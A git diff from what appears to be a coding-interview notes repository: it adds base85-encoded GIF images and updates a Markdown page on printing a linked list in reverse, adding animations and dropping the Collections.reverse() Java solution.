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
H>dyZH<x1c<

literal 0
HcmV?d00001

diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index 6c61ccec..1184cb0e 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -246,12 +246,14 @@ public String replaceSpace(StringBuffer str) {
 
 从尾到头反过来打印出每个结点的值。
 
-<div align="center"> <img src="pics/d99dc9e2-197c-4085-813d-7195da1c6762.png" width="300"/> </div><br>
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293972480.gif" width="250px"> </div><br>
 
 ## 解题思路
 
 ### 使用栈
 
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif" width="500px"> </div><br>
+
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
     Stack<Integer> stack = new Stack<>();
@@ -268,6 +270,8 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 
 ### 使用递归
 
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548294571338.gif" width="200px"> </div><br>
+
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
     ArrayList<Integer> ret = new ArrayList<>();
@@ -288,6 +292,8 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 - 头结点是在头插法中使用的一个额外节点，这个节点不存储值；
 - 第一个节点就是链表的第一个真正存储值的节点。
 
+<div align="center"> <img src="pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548295232667.gif"/> </div><br>
+
 ```java
 public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
     // 头插法构建逆序链表
@@ -309,20 +315,6 @@ public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
 }
 ```
 
-### 使用 Collections.reverse()
-
-```java
-public ArrayList<Integer> printListFromTailToHead(ListNode listNode) {
-    ArrayList<Integer> ret = new ArrayList<>();
-    while (listNode != null) {
-        ret.add(listNode.val);
-        listNode = listNode.next;
-    }
-    Collections.reverse(ret);
-    return ret;
-}
-```
-
 # 7. 重建二叉树
 
 [NowCoder](https://www.nowcoder.com/practice/8a19cbe657394eeaac2f6ea9b0f6fcf6?tpId=13&tqId=11157&tPage=1&rp=1&ru=/ta/coding-interviews&qru=/ta/coding-interviews/question-ranking)
diff --git a/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif b/docs/pics/_u4ECE_u5C3E_u5230_u5934_u6253_1548293773431.gif
new file mode 100644
index 0000000000000000000000000000000000000000..c8744a8c1a85da89916cf30b777cf2b53c1e499f
GIT binary patch
literal 16384
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
